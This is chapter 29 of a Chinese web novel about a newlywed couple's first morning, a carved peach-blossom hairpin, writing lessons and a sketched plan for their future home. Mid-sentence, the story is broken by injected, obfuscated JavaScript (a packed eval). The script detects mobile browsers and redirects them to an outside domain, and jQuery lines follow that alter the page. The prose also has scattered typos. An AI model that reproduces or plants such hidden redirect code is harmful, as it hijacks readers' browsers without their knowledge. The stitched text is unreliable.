第29章
作品:《带领状元科学种田》 清晨,朦胧的曦光穿过窗台落在屋里,给屋子里的一切都覆上一层朦胧的柔光。桌上燃了一夜的红烛已悄然熄灭,只余一滩干涸的烛泪。
柳飘飘敏锐地感觉到光线,羽睫轻轻颤动了几下,缓缓张开,倏忽,一张犹如天使般的睡颜就映入眼帘。她愣了愣,很快反应过来——就在昨天,她已经成亲了。醒来时有人在身边这种感觉很是奇妙。自记事以来,她就一直是独自一人睡的,原以为昨夜会因为多了个人不习惯而睡不着,没想到却睡得特别踏实,一夜无梦。柳飘飘静静地看着他平和的睡颜目光细细描绘过他的眉眼,心下忍不住赞叹,真是好看啊。皮肤白皙透亮,琼鼻高悬,薄唇随着绵长的呼吸微微地一翕 张,竟有些可爱。忽然,她敏锐地发现许云湛的呼吸停了一瞬,薄薄眼皮下的眼珠子也快速地滚动了几下。要不是她一直盯着看还真发现不了,要不也只以为眼花了。醒了呀,柳飘飘静静等着他睁开眼,却好一会儿都不见他有动静。于是她挪了挪脑袋凑到他面前,温热的鼻息喷薄在他脸颊上。
他的眼珠子又快速地滚动了几下,呼吸也乱了一拍,可就是倔强地不张开眼。
柳飘飘暗想,他的装睡功夫不到家呀,不像她,一旦要装睡必定力求逼真,逼真到直接真的睡过去。
就如昨晚,她原本只是想装睡会儿,看看他还有什么后续动作,会不会偷偷亲她一口。毕竟她看过的许多电视剧里经常会出现这样的情节。可惜,她真的睡着了。柳飘飘不再逗他,坐起身,伸了个懒腰,轻笑道:“阿湛,快起床,时候不早了,娘该等着了。”
许云湛终于挣开眼睛,看了她一眼又快速移开视线,喑哑的声音道:“早!”此时的柳飘飘睡了一夜,衣襟有些微微松敬,她高举着手,挺着的胸显得鼓鼓的。
柳飘飘却觉得他的声音特别的慵懒又撩人,于是也笑着道:“早!”随后直接翻身跨过他的身子,坐着床边穿鞋。
许云湛一僵,紧跟着也起了身。
柳飘飘坐在窗台前梳头,许云湛穿好衣裳,踌躇片刻,想起昨夜做好的决定,就步伐坚定地走了过去。
既然你还未感觉到,那我就只能表达得更清晰更明确些。
他接过她手里的梳子,动作轻柔地从头根梳到发尾,当然,以柳飘飘枯黄又分叉的发质来说,在中间时必定卡住,他都小心翼翼地解开结,没有蛮力扯疼她。许云湛轻声安慰她,“你的头发看着比之前好多了,再长长会更好的。”
柳飘飘暗自挑眉,所以,他昨夜果然是真的喝醉了?
好不容易梳好头发后,许云湛很快给她挽好一个发髻,虽动作生疏,但成果喜人。
柳飘飘从铜镜里左看看右瞧瞧,发髻虽然样式简单却很利落,所有的发丝都妥妥帖帖地挽起。她忍不住惊奇道:“想不到你竟还有这等好手艺!”
“经常看着娘做,慢慢就会了。”
然而,事实上却是,近些日子,闵氏常常教何大娘挽各种发髻,相互捣鼓着对方的头发,偶尔还在二妞短短的头发上玩出几个新花样。他想着或许以后会用上,就不禁多瞧了几眼。果然,好用。
看着柳飘飘抑制不住的欢喜笑颜,他柔声道:"若你喜欢,我便每日给你挽发。"
真的?”柳飘飘 脸惊喜,“那敢情好啊,谢谢你!”前世她贪图省事,大多时候都是短发,因此连辫子都编不好,更逞论挽发髻了,有人乐意效劳,她自然求之不得。她又在镜子里看了看,抬手在发间的那根木簪上摸了摸,拿下来,放在掌心里仔细端详片刻,问道,“这似乎不是我们之前在集市上买的那支。”
她分明记得那是一支梅花木簪,因为她只会用红缨来束马尾,所以并不怎么用上那支木簪,就将它束之高阁了,但她还是清楚地记得它的样子,绝不是这支桃花木簪。“嗯,这支是我闲来无事,随手雕的。”顿了顿,他接着道:“怎么样?”
话语中中隐含的期待,柳飘飘自然听出来了,内心忍不住暗自好笑,却毫不吝啬地夸道:“很漂亮,比之前的那只还漂亮,我很喜欢。阿湛真厉害。”的确是很漂亮,整支木簪被细心地打磨得通体光滑,泛着淡淡的光泽,上面的桃花更是精雕细琢得连花瓣上的脉络都清晰可见,栩栩如生。
“你竟然还会这个啊?”"以前跟爹学着玩儿的。"
“那你脑子真好使,学啥会啥。”聪明得让人嫉妒。“哪里,哪里,雕虫小技罢了,不足一提。”“….…”谦虚是好,但过度谦虚就有点欠揍了。
“我帮你别上吧。”许云湛将木簪穿进她的发髻,稍稍退开几步,仔细看了看,赞道:“果然桃花更适合你。”
衬得人比桃花艳。
待两人从新房里出来时,闵氏正坐在院子里和云清小声地说话。
云清见两人走来,几步小跑着飞扑过去抱住柳飘飘的腿,甜甜叫道:“嫂嫂。”
闵氏也走过来,问道:“怎的起这么早?又无事可做,不如多歇会儿呀,昨晚那么劳累。”
“娘,我不累,反正也睡不着了就起来吧。”柳飘飘一把将云清高高抱起,逗得他咯咯直笑。
“不累?”闵氏疑惑地盯着柳飘
飘的脸仔细打量,还真是神清气爽的模样,依旧如平日那般生龙活虎地举着云清玩,完全看不出任何腰酸腿软的后遗症。
闵氏又向许云湛看去,顿时大吃一惊。
今日的许云湛眼下青黑,精神不济,一副纵欲过度的鬼样。可是不对啊,怎么飘飘神清气爽,他却是一副被采补过度的惨样。难道——
忽然一个惊悚的念头在她脑海中闪现,难道,她儿子竟是底下的那一方?!!
她又想起柳飘飘的一身蛮力,于是这个念头更加坚定了,久久挥散不去。
闵氏心里一时百味陈杂,但似乎也没什么办法,只能自我宽慰:被压就被压吧,只要他们开心就好。
许云湛被闵氏莫名其妙的眼神盯得头皮发麻,身板不自觉地抖了抖,由于几乎整夜未眠而昏昏沉沉的脑袋更晕眩了。
昨夜,在柳飘飘没心没肺地睡熟之后,他却银转反侧胡思乱想了许多,一会儿后知后觉似乎错过了什么,但一时又说不清是什么,一会儿又庆幸一切都来得及,幸好没错过,一会儿欢喜她的坦诚,一会
儿又恼恨她的迟钝……
总之乱七八糟的念头冲撞在一起,缠绕成一团乱麻,搅得他无法入眠。直到听到远处的鸡鸣声时,他才累得迷迷糊糊地睡去。昨日的酒席还剩下些馒头,于是柳飘飘简单地熬了青菜粥,蒸了些鸡蛋。
早饭后,闵氏递给柳飘飘一个红包,笑着道:“咱也不拘那些虚礼,既然你喊我一声娘,我就将你当亲闺女对待了。”柳飘飘双手接过红包,应道:“谢谢娘!我也会好好孝敬娘的。”
“好好好,娘不求你们大富大贵,只希望你们夫妻俩能互重互爱,不离不弃。还有,”闵氏笑眯眯道:“再好好努力,也好让娘早日抱上大胖孙子。”“呃……”柳飘飘不着痕迹地看了许云湛一眼,随后面不改色地道:“那是自然,娘放心,我们会努力的。”
许云湛听了这话,面上虽不显,但耳尖却红得滴血。
眼尖的闵氏见着这一幕,忍不住暗暗摇头:果然啊,这地位明确得一目了然。
闲来无事,柳飘飘原本想去看看她的地,但闵氏觉得新嫁娘刚嫁来就下地干活不符合习俗,影响
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855453|159347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也非常不好,不知道的还以为她受苛待了呢。因此只让她什么也不要干,多歇息几天。
柳飘飘对自己的名声已经看得很淡,完全是死猪不怕开水烫的状态。但现在她是许家妇了,自然不能不顾及许家的名声,况目以后许云温还要考科举,名声极为重要,所以从今天开始她也不能再任性安
为了,至于能挽回多少,那就随缘了,强求不来。
因此柳飘飘听话地乖乖宅家里,但她是那种一旦闲下来反而坐不住的例子,于是四处晃荡找事做。
她眼着闵氏做了会儿针线活后,就被打击得怀疑人生,果然每个人都有擅长和不擅长的,看来她是真的对绣花这种技能没有任何天赋。她也没为难自己,就溜跑出去和云清玩了,但云清的精力显然没她
旺盛,玩了会儿就累得睡着了。于是她又去撩拨秀秀,秀秀被她逗得烦了也趴在云清床前睡了。
许云湛终于看不过眼她犹如多动症孩童的行为,把她拉进了书房。"你不是还有好些字不识得吗,我教你认认。"
“……好。”文盲伤不起。
过了一会儿后,柳飘飘羞愧地放下笔,简直想把自己刚写的那堆企企担担的丑字给吃进肚子里。前世她没学过毛笔字,如今是第一次上手,结果自然是惨不忍睹。许云湛不知何为总回想起之前,她断言自己识字的信誓旦曰的模样,一时憋笑憋得脸通红,却还要安慰她:“不碍事的,多练练就好。谁还不是从简单的一撇一捺开始呢。”柳飘飘却觉得被取笑了,她先前可是会飞了,如今却憋屈地要从地上爬开始。她想了想,跑到厨房去,不一会儿就拿几根木炭来,之后又跑到后院了拔了几根鸡翅毛。许云湛好奇地看着她的动作,没说话。
柳飘飘先用羽毛蘸了墨汁,随后开始在白纸上行书。羽毛笔自然比不上钢笔顺滑,但到底手没有像握毛笔那样抖得抓不住了,写出来的字迹也是清丽娟秀。
许云湛忍不住赞道,“不错,竟然还可以这样?”
柳飘飘轻哼一声,又拿起一根木炭,唰刷几下,一副简单的人物肖像就展现在眼前。虽然线条处理得不够细致,但仍是一眼就能认出画的是谁。赫然正是云清咧着喘笑哈哈的小模样。许云湛赞道:“不错。”
柳飘飘画得兴致高涨,于是又拿了张纸来画,不过这次认真多了。她神情专注,下笔稳健,并且不时停下来思索后才又动笔。许云湛看着她认真作画的侧脸,心跳忍不住又加快了几分。
好一会儿后,柳飘飘才搁下木炭,拿起纸张细细看了一遍之后,兴奋挤到他身边:“阿湛,你快看,这是什么?”许云湛凑过去一看,顿时怔愣住,犹疑道:“这是……我们家?”“对呀。确切地说,这是我们未来的家。”
没错,柳飘飘给他们的家画了张蓝图。
“这是我们家的两层别墅小洋房。”虽然现在还不知道能不能找到适合烧砖的黏土,但若是不行还可以找其他的代替,总能做到的。
这一大片都是菜园子,我要种上各色蔬菜瓜果,旁边是猪圈鸡圈,这样就有内有菜了;这块是花圃,娘言欢饲弄花草给她正合适;这围着的 圈是果树。哎,你喜欢什么果树,我们可以种几棵在院子中央,再给云清搭个秋千。”
见他没说话,柳飘飘又说道,“嗯?或者你喜欢竹子和梅树?似乎文人雅士多喜爱这类高雅之物。那也不是不可以。竹笋就挺好吃的,梅花采了做梅花酥也不错。”
"怎么样?你觉得好不好?"
许云湛看着她滔滔不绝讲起这些时,脸庞熠熠生辉,他不由得被她灿若骄阳的笑容晃了神,于是只能愣愣地点点头。
好,自然好,没有什么比这更好的了。

